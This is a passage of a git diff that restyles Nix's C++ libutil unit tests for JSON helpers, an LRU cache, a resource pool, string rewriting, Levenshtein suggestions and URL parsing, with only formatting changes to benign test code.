std::regex("world, Hello"); + auto v = std::vector(std::sregex_iterator(str.begin(), str.end(), re), std::sregex_iterator()); + for (auto it = std::sregex_iterator(str.begin(), str.end(), re2); it != std::sregex_iterator(); ++it) { + v.push_back(*it); + } + ASSERT_STREQ( + hiliteMatches(str, v, "(", ")").c_str(), "(world, Hello, world, Hello, world, Hello, world, Hello, world)!"); +} + +TEST(hiliteMatches, complexOverlappingMatches) +{ + std::string str = "legacyPackages.x86_64-linux.git-crypt"; + std::vector regexes = { + std::regex("t-cry"), + std::regex("ux\\.git-cry"), + std::regex("git-c"), + std::regex("pt"), + }; + std::vector matches; + for (const auto & regex : regexes) { + for (auto it = std::sregex_iterator(str.begin(), str.end(), regex); it != std::sregex_iterator(); ++it) { + matches.push_back(*it); + } + } + ASSERT_STREQ(hiliteMatches(str, matches, "(", ")").c_str(), "legacyPackages.x86_64-lin(ux.git-crypt)"); +} } diff --git a/src/libutil-tests/json-utils.cc b/src/libutil-tests/json-utils.cc index 71c069d66..615687e07 100644 --- a/src/libutil-tests/json-utils.cc +++ b/src/libutil-tests/json-utils.cc @@ -12,14 +12,16 @@ namespace nix { * We are specifically interested in whether we can _nest_ optionals in STL * containers so we that we can leverage existing adl_serializer templates. */ -TEST(to_json, optionalInt) { +TEST(to_json, optionalInt) +{ std::optional val = std::make_optional(420); ASSERT_EQ(nlohmann::json(val), nlohmann::json(420)); val = std::nullopt; ASSERT_EQ(nlohmann::json(val), nlohmann::json(nullptr)); } -TEST(to_json, vectorOfOptionalInts) { +TEST(to_json, vectorOfOptionalInts) +{ std::vector> vals = { std::make_optional(420), std::nullopt, @@ -27,17 +29,20 @@ TEST(to_json, vectorOfOptionalInts) { ASSERT_EQ(nlohmann::json(vals), nlohmann::json::parse("[420,null]")); } -TEST(to_json, optionalVectorOfInts) { - std::optional> val = std::make_optional(std::vector { - -420, - 420, - }); +TEST(to_json, optionalVectorOfInts) +{ + std::optional> val = std::make_optional( + std::vector{ + -420, + 420, + }); ASSERT_EQ(nlohmann::json(val), nlohmann::json::parse("[-420,420]")); val = std::nullopt; ASSERT_EQ(nlohmann::json(val), nlohmann::json(nullptr)); } -TEST(from_json, optionalInt) { +TEST(from_json, optionalInt) +{ nlohmann::json json = 420; std::optional val = json; ASSERT_TRUE(val.has_value()); @@ -47,8 +52,9 @@ TEST(from_json, optionalInt) { ASSERT_FALSE(val.has_value()); } -TEST(from_json, vectorOfOptionalInts) { - nlohmann::json json = { 420, nullptr }; +TEST(from_json, vectorOfOptionalInts) +{ + nlohmann::json json = {420, nullptr}; std::vector> vals = json; ASSERT_EQ(vals.size(), 2u); ASSERT_TRUE(vals.at(0).has_value()); @@ -56,7 +62,8 @@ TEST(from_json, vectorOfOptionalInts) { ASSERT_FALSE(vals.at(1).has_value()); } -TEST(valueAt, simpleObject) { +TEST(valueAt, simpleObject) +{ auto simple = R"({ "hello": "world" })"_json; ASSERT_EQ(valueAt(getObject(simple), "hello"), "world"); @@ -66,7 +73,8 @@ TEST(valueAt, simpleObject) { ASSERT_EQ(valueAt(valueAt(getObject(nested), "hello"), "world"), ""); } -TEST(valueAt, missingKey) { +TEST(valueAt, missingKey) +{ auto json = R"({ "hello": { "nested": "world" } })"_json; auto & obj = getObject(json); @@ -74,20 +82,22 @@ TEST(valueAt, missingKey) { ASSERT_THROW(valueAt(obj, "foo"), Error); } -TEST(getObject, rightAssertions) { +TEST(getObject, rightAssertions) +{ auto simple = R"({ "object": {} })"_json; - ASSERT_EQ(getObject(valueAt(getObject(simple), "object")), (nlohmann::json::object_t {})); + ASSERT_EQ(getObject(valueAt(getObject(simple), "object")), (nlohmann::json::object_t{})); auto nested = R"({ "object": { "object": {} } })"_json; auto nestedObject = getObject(valueAt(getObject(nested), "object")); ASSERT_EQ(nestedObject, getObject(nlohmann::json::parse(R"({ "object": {} })"))); - ASSERT_EQ(getObject(valueAt(getObject(nestedObject), "object")), (nlohmann::json::object_t {})); + ASSERT_EQ(getObject(valueAt(getObject(nestedObject), "object")), (nlohmann::json::object_t{})); } -TEST(getObject, wrongAssertions) { +TEST(getObject, wrongAssertions) +{ auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; auto & obj = getObject(json); @@ -98,13 +108,15 @@ TEST(getObject, wrongAssertions) { ASSERT_THROW(getObject(valueAt(obj, "boolean")), Error); } -TEST(getArray, rightAssertions) { +TEST(getArray, rightAssertions) +{ auto simple = R"({ "array": [] })"_json; - ASSERT_EQ(getArray(valueAt(getObject(simple), "array")), (nlohmann::json::array_t {})); + ASSERT_EQ(getArray(valueAt(getObject(simple), "array")), (nlohmann::json::array_t{})); } -TEST(getArray, wrongAssertions) { +TEST(getArray, wrongAssertions) +{ auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; ASSERT_THROW(getArray(valueAt(json, "object")), Error); @@ -113,13 +125,15 @@ TEST(getArray, wrongAssertions) { ASSERT_THROW(getArray(valueAt(json, "boolean")), Error); } -TEST(getString, rightAssertions) { +TEST(getString, rightAssertions) +{ auto simple = R"({ "string": "" })"_json; ASSERT_EQ(getString(valueAt(getObject(simple), "string")), ""); } -TEST(getString, wrongAssertions) { +TEST(getString, wrongAssertions) +{ auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; ASSERT_THROW(getString(valueAt(json, "object")), Error); @@ -128,13 +142,15 @@ TEST(getString, wrongAssertions) { ASSERT_THROW(getString(valueAt(json, "boolean")), Error); } -TEST(getInteger, rightAssertions) { +TEST(getInteger, rightAssertions) +{ auto simple = R"({ "int": 0 })"_json; ASSERT_EQ(getInteger(valueAt(getObject(simple), "int")), 0); } -TEST(getInteger, wrongAssertions) { +TEST(getInteger, wrongAssertions) +{ auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; ASSERT_THROW(getInteger(valueAt(json, "object")), Error); @@ -143,13 +159,15 @@ TEST(getInteger, wrongAssertions) { ASSERT_THROW(getInteger(valueAt(json, "boolean")), Error); } -TEST(getBoolean, rightAssertions) { +TEST(getBoolean, rightAssertions) +{ auto simple = R"({ "boolean": false })"_json; ASSERT_EQ(getBoolean(valueAt(getObject(simple), "boolean")), false); } -TEST(getBoolean, wrongAssertions) { +TEST(getBoolean, wrongAssertions) +{ auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; ASSERT_THROW(getBoolean(valueAt(json, "object")), Error); @@ -158,25 +176,29 @@ TEST(getBoolean, wrongAssertions) { ASSERT_THROW(getBoolean(valueAt(json, "int")), Error); } -TEST(optionalValueAt, existing) { +TEST(optionalValueAt, existing) +{ auto json = R"({ "string": "ssh-rsa" })"_json; - ASSERT_EQ(optionalValueAt(json, "string"), std::optional { "ssh-rsa" }); + ASSERT_EQ(optionalValueAt(json, "string"), std::optional{"ssh-rsa"}); } -TEST(optionalValueAt, empty) { +TEST(optionalValueAt, empty) +{ auto json = R"({})"_json; ASSERT_EQ(optionalValueAt(json, "string"), std::nullopt); } -TEST(getNullable, null) { +TEST(getNullable, null) +{ auto json = R"(null)"_json; ASSERT_EQ(getNullable(json), nullptr); } -TEST(getNullable, empty) { +TEST(getNullable, empty) +{ auto json = R"({})"_json; auto * p = getNullable(json); diff --git a/src/libutil-tests/logging.cc b/src/libutil-tests/logging.cc index 494e9ce4c..3b32ff078 100644 --- a/src/libutil-tests/logging.cc +++ b/src/libutil-tests/logging.cc @@ -1,10 +1,10 @@ #if 0 -#include "nix/util/logging.hh" -#include "nix/expr/nixexpr.hh" -#include +# include "nix/util/logging.hh" +# include "nix/expr/nixexpr.hh" +# include -#include +# include namespace nix { diff --git a/src/libutil-tests/lru-cache.cc b/src/libutil-tests/lru-cache.cc index a6a27cd3e..15aa39c7d 100644 --- a/src/libutil-tests/lru-cache.cc +++ b/src/libutil-tests/lru-cache.cc @@ -3,128 +3,141 @@ namespace nix { - /* ---------------------------------------------------------------------------- - * size - * --------------------------------------------------------------------------*/ +/* ---------------------------------------------------------------------------- + * size + * --------------------------------------------------------------------------*/ - TEST(LRUCache, sizeOfEmptyCacheIsZero) { - LRUCache c(10); - ASSERT_EQ(c.size(), 0u); - } - - TEST(LRUCache, sizeOfSingleElementCacheIsOne) { - LRUCache c(10); - c.upsert("foo", "bar"); - ASSERT_EQ(c.size(), 1u); - } - - /* ---------------------------------------------------------------------------- - * upsert / get - * --------------------------------------------------------------------------*/ - - TEST(LRUCache, getFromEmptyCache) { - LRUCache c(10); - auto val = c.get("x"); - ASSERT_EQ(val.has_value(), false); - } - - TEST(LRUCache, getExistingValue) { - LRUCache c(10); - c.upsert("foo", "bar"); - auto val = c.get("foo"); - ASSERT_EQ(val, "bar"); - } - - TEST(LRUCache, getNonExistingValueFromNonEmptyCache) { - LRUCache c(10); - c.upsert("foo", "bar"); - auto val = c.get("another"); - ASSERT_EQ(val.has_value(), false); - } - - TEST(LRUCache, upsertOnZeroCapacityCache) { - LRUCache c(0); - c.upsert("foo", "bar"); - auto val = c.get("foo"); - ASSERT_EQ(val.has_value(), false); - } - - TEST(LRUCache, updateExistingValue) { - LRUCache c(1); - c.upsert("foo", "bar"); - - auto val = c.get("foo"); - ASSERT_EQ(val.value_or("error"), "bar"); - ASSERT_EQ(c.size(), 1u); - - c.upsert("foo", "changed"); - val = c.get("foo"); - ASSERT_EQ(val.value_or("error"), "changed"); - ASSERT_EQ(c.size(), 1u); - } - - TEST(LRUCache, overwriteOldestWhenCapacityIsReached) { - LRUCache c(3); - c.upsert("one", "eins"); - c.upsert("two", "zwei"); - c.upsert("three", "drei"); - - ASSERT_EQ(c.size(), 3u); - ASSERT_EQ(c.get("one").value_or("error"), "eins"); - - // exceed capacity - c.upsert("another", "whatever"); - - ASSERT_EQ(c.size(), 3u); - // Retrieving "one" makes it the most recent element thus - // two will be the oldest one and thus replaced. - ASSERT_EQ(c.get("two").has_value(), false); - ASSERT_EQ(c.get("another").value(), "whatever"); - } - - /* ---------------------------------------------------------------------------- - * clear - * --------------------------------------------------------------------------*/ - - TEST(LRUCache, clearEmptyCache) { - LRUCache c(10); - c.clear(); - ASSERT_EQ(c.size(), 0u); - } - - TEST(LRUCache, clearNonEmptyCache) { - LRUCache c(10); - c.upsert("one", "eins"); - c.upsert("two", "zwei"); - c.upsert("three", "drei"); - ASSERT_EQ(c.size(), 3u); - c.clear(); - ASSERT_EQ(c.size(), 0u); - } - - /* ---------------------------------------------------------------------------- - * erase - * --------------------------------------------------------------------------*/ - - TEST(LRUCache, eraseFromEmptyCache) { - LRUCache c(10); - ASSERT_EQ(c.erase("foo"), false); - ASSERT_EQ(c.size(), 0u); - } - - TEST(LRUCache, eraseMissingFromNonEmptyCache) { - LRUCache c(10); - c.upsert("one", "eins"); - ASSERT_EQ(c.erase("foo"), false); - ASSERT_EQ(c.size(), 1u); - ASSERT_EQ(c.get("one").value_or("error"), "eins"); - } - - TEST(LRUCache, eraseFromNonEmptyCache) { - LRUCache c(10); - c.upsert("one", "eins"); - ASSERT_EQ(c.erase("one"), true); - ASSERT_EQ(c.size(), 0u); - ASSERT_EQ(c.get("one").value_or("empty"), "empty"); - } +TEST(LRUCache, sizeOfEmptyCacheIsZero) +{ + LRUCache c(10); + ASSERT_EQ(c.size(), 0u); +} + +TEST(LRUCache, sizeOfSingleElementCacheIsOne) +{ + LRUCache c(10); + c.upsert("foo", "bar"); + ASSERT_EQ(c.size(), 1u); +} + +/* ---------------------------------------------------------------------------- + * upsert / get + * --------------------------------------------------------------------------*/ + +TEST(LRUCache, getFromEmptyCache) +{ + LRUCache c(10); + auto val = c.get("x"); + ASSERT_EQ(val.has_value(), false); +} + +TEST(LRUCache, getExistingValue) +{ + LRUCache c(10); + c.upsert("foo", "bar"); + auto val = c.get("foo"); + ASSERT_EQ(val, "bar"); +} + +TEST(LRUCache, getNonExistingValueFromNonEmptyCache) +{ + LRUCache c(10); + c.upsert("foo", "bar"); + auto val = c.get("another"); + ASSERT_EQ(val.has_value(), false); +} + +TEST(LRUCache, upsertOnZeroCapacityCache) +{ + LRUCache c(0); + c.upsert("foo", "bar"); + auto val = c.get("foo"); + ASSERT_EQ(val.has_value(), false); +} + +TEST(LRUCache, updateExistingValue) +{ + LRUCache c(1); + c.upsert("foo", "bar"); + + auto val = c.get("foo"); + ASSERT_EQ(val.value_or("error"), "bar"); + ASSERT_EQ(c.size(), 1u); + + c.upsert("foo", "changed"); + val = c.get("foo"); + ASSERT_EQ(val.value_or("error"), "changed"); + ASSERT_EQ(c.size(), 1u); +} + +TEST(LRUCache, overwriteOldestWhenCapacityIsReached) +{ + LRUCache c(3); + c.upsert("one", "eins"); + c.upsert("two", "zwei"); + c.upsert("three", "drei"); + + ASSERT_EQ(c.size(), 3u); + ASSERT_EQ(c.get("one").value_or("error"), "eins"); + + // exceed capacity + c.upsert("another", "whatever"); + + ASSERT_EQ(c.size(), 3u); + // Retrieving "one" makes it the most recent element thus + // two will be the oldest one and thus replaced. + ASSERT_EQ(c.get("two").has_value(), false); + ASSERT_EQ(c.get("another").value(), "whatever"); +} + +/* ---------------------------------------------------------------------------- + * clear + * --------------------------------------------------------------------------*/ + +TEST(LRUCache, clearEmptyCache) +{ + LRUCache c(10); + c.clear(); + ASSERT_EQ(c.size(), 0u); +} + +TEST(LRUCache, clearNonEmptyCache) +{ + LRUCache c(10); + c.upsert("one", "eins"); + c.upsert("two", "zwei"); + c.upsert("three", "drei"); + ASSERT_EQ(c.size(), 3u); + c.clear(); + ASSERT_EQ(c.size(), 0u); +} + +/* ---------------------------------------------------------------------------- + * erase + * --------------------------------------------------------------------------*/ + +TEST(LRUCache, eraseFromEmptyCache) +{ + LRUCache c(10); + ASSERT_EQ(c.erase("foo"), false); + ASSERT_EQ(c.size(), 0u); +} + +TEST(LRUCache, eraseMissingFromNonEmptyCache) +{ + LRUCache c(10); + c.upsert("one", "eins"); + ASSERT_EQ(c.erase("foo"), false); + ASSERT_EQ(c.size(), 1u); + ASSERT_EQ(c.get("one").value_or("error"), "eins"); +} + +TEST(LRUCache, eraseFromNonEmptyCache) +{ + LRUCache c(10); + c.upsert("one", "eins"); + ASSERT_EQ(c.erase("one"), true); + ASSERT_EQ(c.size(), 0u); + ASSERT_EQ(c.get("one").value_or("empty"), "empty"); +} } diff --git a/src/libutil-tests/pool.cc b/src/libutil-tests/pool.cc index d41bab8ed..93d31ee78 100644 --- a/src/libutil-tests/pool.cc +++ b/src/libutil-tests/pool.cc @@ -3,125 +3,133 @@ namespace nix { - struct TestResource +struct TestResource +{ + + TestResource() { - - TestResource() { - static int counter = 0; - num = counter++; - } - - int dummyValue = 1; - bool good = true; - int num; - }; - - /* ---------------------------------------------------------------------------- - * Pool - * --------------------------------------------------------------------------*/ - - TEST(Pool, freshPoolHasZeroCountAndSpecifiedCapacity) { - auto isGood = [](const ref & r) { return r->good; }; - auto createResource = []() { return make_ref(); }; - - Pool pool = Pool((size_t)1, createResource, isGood); - - ASSERT_EQ(pool.count(), 0u); - ASSERT_EQ(pool.capacity(), 1u); + static int counter = 0; + num = counter++; } - TEST(Pool, freshPoolCanGetAResource) { - auto isGood = [](const ref & r) { return r->good; }; - auto createResource = []() { return make_ref(); }; + int dummyValue = 1; + bool good = true; + int num; +}; - Pool pool = Pool((size_t)1, createResource, isGood); - ASSERT_EQ(pool.count(), 0u); +/* ---------------------------------------------------------------------------- + * Pool + * --------------------------------------------------------------------------*/ - TestResource r = *(pool.get()); +TEST(Pool, freshPoolHasZeroCountAndSpecifiedCapacity) +{ + auto isGood = [](const ref & r) { return r->good; }; + auto createResource = []() { return make_ref(); }; + Pool pool = Pool((size_t) 1, createResource, isGood); + + ASSERT_EQ(pool.count(), 0u); + ASSERT_EQ(pool.capacity(), 1u); +} + +TEST(Pool, freshPoolCanGetAResource) +{ + auto isGood = [](const ref & r) { return r->good; }; + auto createResource = []() { return make_ref(); }; + + Pool pool = Pool((size_t) 1, createResource, isGood); + ASSERT_EQ(pool.count(), 0u); + + TestResource r = *(pool.get()); + + ASSERT_EQ(pool.count(), 1u); + ASSERT_EQ(pool.capacity(), 1u); + ASSERT_EQ(r.dummyValue, 1); + ASSERT_EQ(r.good, true); +} + +TEST(Pool, capacityCanBeIncremented) +{ + auto isGood = [](const ref & r) { return r->good; }; + auto createResource = []() { return make_ref(); }; + + Pool pool = Pool((size_t) 1, createResource, isGood); + ASSERT_EQ(pool.capacity(), 1u); + pool.incCapacity(); + ASSERT_EQ(pool.capacity(), 2u); +} + +TEST(Pool, capacityCanBeDecremented) +{ + auto isGood = [](const ref & r) { return r->good; }; + auto createResource = []() { return make_ref(); }; + + Pool pool = Pool((size_t) 1, createResource, isGood); + ASSERT_EQ(pool.capacity(), 1u); + pool.decCapacity(); + ASSERT_EQ(pool.capacity(), 0u); +} + +TEST(Pool, flushBadDropsOutOfScopeResources) +{ + auto isGood = [](const ref & r) { return false; }; + auto createResource = []() { return make_ref(); }; + + Pool pool = Pool((size_t) 1, createResource, isGood); + + { + auto _r = pool.get(); ASSERT_EQ(pool.count(), 1u); - ASSERT_EQ(pool.capacity(), 1u); - ASSERT_EQ(r.dummyValue, 1); - ASSERT_EQ(r.good, true); } - TEST(Pool, capacityCanBeIncremented) { - auto isGood = [](const ref & r) { return r->good; }; - auto createResource = []() { return make_ref(); }; + pool.flushBad(); + ASSERT_EQ(pool.count(), 0u); +} - Pool pool = Pool((size_t)1, createResource, isGood); - ASSERT_EQ(pool.capacity(), 1u); - pool.incCapacity(); - ASSERT_EQ(pool.capacity(), 2u); - } +// Test that the resources we allocate are being reused when they are still good. +TEST(Pool, reuseResource) +{ + auto isGood = [](const ref & r) { return true; }; + auto createResource = []() { return make_ref(); }; - TEST(Pool, capacityCanBeDecremented) { - auto isGood = [](const ref & r) { return r->good; }; - auto createResource = []() { return make_ref(); }; + Pool pool = Pool((size_t) 1, createResource, isGood); - Pool pool = Pool((size_t)1, createResource, isGood); - ASSERT_EQ(pool.capacity(), 1u); - pool.decCapacity(); - ASSERT_EQ(pool.capacity(), 0u); - } + // Compare the instance counter between the two handles. We expect them to be equal + // as the pool should hand out the same (still) good one again. + int counter = -1; + { + Pool::Handle h = pool.get(); + counter = h->num; + } // the first handle goes out of scope - TEST(Pool, flushBadDropsOutOfScopeResources) { - auto isGood = [](const ref & r) { return false; }; - auto createResource = []() { return make_ref(); }; - - Pool pool = Pool((size_t)1, createResource, isGood); - - { - auto _r = pool.get(); - ASSERT_EQ(pool.count(), 1u); - } - - pool.flushBad(); - ASSERT_EQ(pool.count(), 0u); - } - - // Test that the resources we allocate are being reused when they are still good. - TEST(Pool, reuseResource) { - auto isGood = [](const ref & r) { return true; }; - auto createResource = []() { return make_ref(); }; - - Pool pool = Pool((size_t)1, createResource, isGood); - - // Compare the instance counter between the two handles. We expect them to be equal - // as the pool should hand out the same (still) good one again. - int counter = -1; - { - Pool::Handle h = pool.get(); - counter = h->num; - } // the first handle goes out of scope - - { // the second handle should contain the same resource (with the same counter value) - Pool::Handle h = pool.get(); - ASSERT_EQ(h->num, counter); - } - } - - // Test that the resources we allocate are being thrown away when they are no longer good. - TEST(Pool, badResourceIsNotReused) { - auto isGood = [](const ref & r) { return false; }; - auto createResource = []() { return make_ref(); }; - - Pool pool = Pool((size_t)1, createResource, isGood); - - // Compare the instance counter between the two handles. We expect them - // to *not* be equal as the pool should hand out a new instance after - // the first one was returned. - int counter = -1; - { - Pool::Handle h = pool.get(); - counter = h->num; - } // the first handle goes out of scope - - { - // the second handle should contain a different resource (with a - //different counter value) - Pool::Handle h = pool.get(); - ASSERT_NE(h->num, counter); - } + { // the second handle should contain the same resource (with the same counter value) + Pool::Handle h = pool.get(); + ASSERT_EQ(h->num, counter); } } + +// Test that the resources we allocate are being thrown away when they are no longer good. +TEST(Pool, badResourceIsNotReused) +{ + auto isGood = [](const ref & r) { return false; }; + auto createResource = []() { return make_ref(); }; + + Pool pool = Pool((size_t) 1, createResource, isGood); + + // Compare the instance counter between the two handles. We expect them + // to *not* be equal as the pool should hand out a new instance after + // the first one was returned. + int counter = -1; + { + Pool::Handle h = pool.get(); + counter = h->num; + } // the first handle goes out of scope + + { + // the second handle should contain a different resource (with a + // different counter value) + Pool::Handle h = pool.get(); + ASSERT_NE(h->num, counter); + } +} +} diff --git a/src/libutil-tests/references.cc b/src/libutil-tests/references.cc index 622b3c35a..c24445c34 100644 --- a/src/libutil-tests/references.cc +++ b/src/libutil-tests/references.cc @@ -5,25 +5,27 @@ namespace nix { using std::string; -struct RewriteParams { +struct RewriteParams +{ string originalString, finalString; StringMap rewrites; - friend std::ostream& operator<<(std::ostream& os, const RewriteParams& bar) { + friend std::ostream & operator<<(std::ostream & os, const RewriteParams & bar) + { StringSet strRewrites; for (auto & [from, to] : bar.rewrites) strRewrites.insert(from + "->" + to); - return os << - "OriginalString: " << bar.originalString << std::endl << - "Rewrites: " << dropEmptyInitThenConcatStringsSep(",", strRewrites) << std::endl << - "Expected result: " << bar.finalString; + return os << "OriginalString: " << bar.originalString << std::endl + << "Rewrites: " << dropEmptyInitThenConcatStringsSep(",", strRewrites) << std::endl + << "Expected result: " << bar.finalString; } }; -class RewriteTest : public ::testing::TestWithParam { -}; +class RewriteTest : public ::testing::TestWithParam +{}; -TEST_P(RewriteTest, IdentityRewriteIsIdentity) { +TEST_P(RewriteTest, IdentityRewriteIsIdentity) +{ RewriteParams param = GetParam(); StringSink rewritten; auto rewriter = RewritingSink(param.rewrites, rewritten); @@ -36,11 +38,8 @@ INSTANTIATE_TEST_CASE_P( references, RewriteTest, ::testing::Values( - RewriteParams{ "foooo", "baroo", {{"foo", "bar"}, {"bar", "baz"}}}, - RewriteParams{ "foooo", "bazoo", {{"fou", "bar"}, {"foo", "baz"}}}, - RewriteParams{ "foooo", "foooo", {}} - ) -); + RewriteParams{"foooo", "baroo", {{"foo", "bar"}, {"bar", "baz"}}}, + RewriteParams{"foooo", "bazoo", {{"fou", "bar"}, {"foo", "baz"}}}, + RewriteParams{"foooo", "foooo", {}})); } - diff --git a/src/libutil-tests/suggestions.cc b/src/libutil-tests/suggestions.cc index d21b286c8..1411a9933 100644 --- a/src/libutil-tests/suggestions.cc +++ b/src/libutil-tests/suggestions.cc @@ -3,41 +3,43 @@ namespace nix { - struct LevenshteinDistanceParam { - std::string s1, s2; - int distance; - }; +struct LevenshteinDistanceParam +{ + std::string s1, s2; + int distance; +}; - class LevenshteinDistanceTest : - public testing::TestWithParam { - }; +class LevenshteinDistanceTest : public testing::TestWithParam +{}; - TEST_P(LevenshteinDistanceTest, CorrectlyComputed) { - auto params = GetParam(); +TEST_P(LevenshteinDistanceTest, CorrectlyComputed) +{ + auto params = GetParam(); - ASSERT_EQ(levenshteinDistance(params.s1, params.s2), params.distance); - ASSERT_EQ(levenshteinDistance(params.s2, params.s1), params.distance); - } - - INSTANTIATE_TEST_SUITE_P(LevenshteinDistance, LevenshteinDistanceTest, - testing::Values( - LevenshteinDistanceParam{"foo", "foo", 0}, - LevenshteinDistanceParam{"foo", "", 3}, - LevenshteinDistanceParam{"", "", 0}, - LevenshteinDistanceParam{"foo", "fo", 1}, - LevenshteinDistanceParam{"foo", "oo", 1}, - LevenshteinDistanceParam{"foo", "fao", 1}, - LevenshteinDistanceParam{"foo", "abc", 3} - ) - ); - - TEST(Suggestions, Trim) { - auto suggestions = Suggestions::bestMatches({"foooo", "bar", "fo", "gao"}, "foo"); - auto onlyOne = suggestions.trim(1); - ASSERT_EQ(onlyOne.suggestions.size(), 1u); - ASSERT_TRUE(onlyOne.suggestions.begin()->suggestion == "fo"); - - auto closest = suggestions.trim(999, 2); - ASSERT_EQ(closest.suggestions.size(), 3u); - } + ASSERT_EQ(levenshteinDistance(params.s1, params.s2), params.distance); + ASSERT_EQ(levenshteinDistance(params.s2, params.s1), params.distance); +} + +INSTANTIATE_TEST_SUITE_P( + LevenshteinDistance, + LevenshteinDistanceTest, + testing::Values( + LevenshteinDistanceParam{"foo", "foo", 0}, + LevenshteinDistanceParam{"foo", "", 3}, + LevenshteinDistanceParam{"", "", 0}, + LevenshteinDistanceParam{"foo", "fo", 1}, + LevenshteinDistanceParam{"foo", "oo", 1}, + LevenshteinDistanceParam{"foo", "fao", 1}, + LevenshteinDistanceParam{"foo", "abc", 3})); + +TEST(Suggestions, Trim) +{ + auto suggestions = Suggestions::bestMatches({"foooo", "bar", "fo", "gao"}, "foo"); + auto onlyOne = suggestions.trim(1); + ASSERT_EQ(onlyOne.suggestions.size(), 1u); + ASSERT_TRUE(onlyOne.suggestions.begin()->suggestion == "fo"); + + auto closest = suggestions.trim(999, 2); + ASSERT_EQ(closest.suggestions.size(), 3u); +} } diff --git a/src/libutil-tests/url.cc b/src/libutil-tests/url.cc index 4c089c106..002fbcc28 100644 --- a/src/libutil-tests/url.cc +++ b/src/libutil-tests/url.cc @@ -5,313 +5,338 @@ namespace nix { /* ----------- tests for url.hh --------------------------------------------------*/ - std::string print_map(std::map m) { - std::map::iterator it; - std::string s = "{ "; - for (it = m.begin(); it != m.end(); ++it) { - s += "{ "; - s += it->first; - s += " = "; - s += it->second; - s += " } "; - } - s += "}"; - return s; +std::string print_map(std::map m) +{ + std::map::iterator it; + std::string s = "{ "; + for (it = m.begin(); it != m.end(); ++it) { + s += "{ "; + s += it->first; + s += " = "; + s += it->second; + s += " } "; } - - - TEST(parseURL, parsesSimpleHttpUrl) { - auto s = "http://www.example.org/file.tar.gz"; - auto parsed = parseURL(s); - - ParsedURL expected { - .scheme = "http", - .authority = "www.example.org", - .path = "/file.tar.gz", - .query = (StringMap) { }, - .fragment = "", - }; - - ASSERT_EQ(parsed, expected); - } - - TEST(parseURL, parsesSimpleHttpsUrl) { - auto s = "https://www.example.org/file.tar.gz"; - auto parsed = parseURL(s); - - ParsedURL expected { - .scheme = "https", - .authority = "www.example.org", - .path = "/file.tar.gz", - .query = (StringMap) { }, - .fragment = "", - }; - - ASSERT_EQ(parsed, expected); - } - - TEST(parseURL, parsesSimpleHttpUrlWithQueryAndFragment) { - auto s = "https://www.example.org/file.tar.gz?download=fast&when=now#hello"; - auto parsed = parseURL(s); - - ParsedURL expected { - .scheme = "https", - .authority = "www.example.org", - .path = "/file.tar.gz", - .query = (StringMap) { { "download", "fast" }, { "when", "now" } }, - .fragment = "hello", - }; - - ASSERT_EQ(parsed, expected); - } - - TEST(parseURL, parsesSimpleHttpUrlWithComplexFragment) { - auto s = "http://www.example.org/file.tar.gz?field=value#?foo=bar%23"; - auto parsed = parseURL(s); - - ParsedURL expected { - .scheme = "http", - .authority = "www.example.org", - .path = "/file.tar.gz", - .query = (StringMap) { { "field", "value" } }, - .fragment = "?foo=bar#", - }; - - ASSERT_EQ(parsed, expected); - } - - TEST(parseURL, parsesFilePlusHttpsUrl) { - auto s = "file+https://www.example.org/video.mp4"; - auto parsed = parseURL(s); - - ParsedURL expected { - .scheme = "file+https", - .authority = "www.example.org", - .path = "/video.mp4", - .query = (StringMap) { }, - .fragment = "", - }; - - ASSERT_EQ(parsed, expected); - } - - TEST(parseURL, rejectsAuthorityInUrlsWithFileTransportation) { - auto s = "file://www.example.org/video.mp4"; - ASSERT_THROW(parseURL(s), Error); - } - - TEST(parseURL, parseIPv4Address) { - auto s = "http://127.0.0.1:8080/file.tar.gz?download=fast&when=now#hello"; - auto parsed = parseURL(s); - - ParsedURL expected { - .scheme = "http", - .authority = "127.0.0.1:8080", - .path = "/file.tar.gz", - .query = (StringMap) { { "download", "fast" }, { "when", "now" } }, - .fragment = "hello", - }; - - ASSERT_EQ(parsed, expected); - } - - TEST(parseURL, parseScopedRFC4007IPv6Address) { - auto s = "http://[fe80::818c:da4d:8975:415c\%enp0s25]:8080"; - auto parsed = parseURL(s); - - ParsedURL expected { - .scheme = "http", - .authority = "[fe80::818c:da4d:8975:415c\%enp0s25]:8080", - .path = "", - .query = (StringMap) { }, - .fragment = "", - }; - - ASSERT_EQ(parsed, expected); - - } - - TEST(parseURL, parseIPv6Address) { - auto s = "http://[2a02:8071:8192:c100:311d:192d:81ac:11ea]:8080"; - auto parsed = parseURL(s); - - ParsedURL expected { - .scheme = "http", - .authority = "[2a02:8071:8192:c100:311d:192d:81ac:11ea]:8080", - .path = "", - .query = (StringMap) { }, - .fragment = "", - }; - - ASSERT_EQ(parsed, expected); - - } - - TEST(parseURL, parseEmptyQueryParams) { - auto s = "http://127.0.0.1:8080/file.tar.gz?&&&&&"; - auto parsed = parseURL(s); - ASSERT_EQ(parsed.query, (StringMap) { }); - } - - TEST(parseURL, parseUserPassword) { - auto s = "http://user:pass@www.example.org:8080/file.tar.gz"; - auto parsed = parseURL(s); - - ParsedURL expected { - .scheme = "http", - .authority = "user:pass@www.example.org:8080", - .path = "/file.tar.gz", - .query = (StringMap) { }, - .fragment = "", - }; - - - ASSERT_EQ(parsed, expected); - } - - TEST(parseURL, parseFileURLWithQueryAndFragment) { - auto s = "file:///none/of//your/business"; - auto parsed = parseURL(s); - - ParsedURL expected { - .scheme = "file", - .authority = "", - .path = "/none/of//your/business", - .query = (StringMap) { }, - .fragment = "", - }; - - ASSERT_EQ(parsed, expected); - - } - - TEST(parseURL, parsedUrlsIsEqualToItself) { - auto s = "http://www.example.org/file.tar.gz"; - auto url = parseURL(s); - - ASSERT_TRUE(url == url); - } - - TEST(parseURL, parseFTPUrl) { - auto s = "ftp://ftp.nixos.org/downloads/nixos.iso"; - auto parsed = parseURL(s); - - ParsedURL expected { - .scheme = "ftp", - .authority = "ftp.nixos.org", - .path = "/downloads/nixos.iso", - .query = (StringMap) { }, - .fragment = "", - }; - - ASSERT_EQ(parsed, expected); - } - - TEST(parseURL, parsesAnythingInUriFormat) { - auto s = "whatever://github.com/NixOS/nixpkgs.git"; - auto parsed = parseURL(s); - 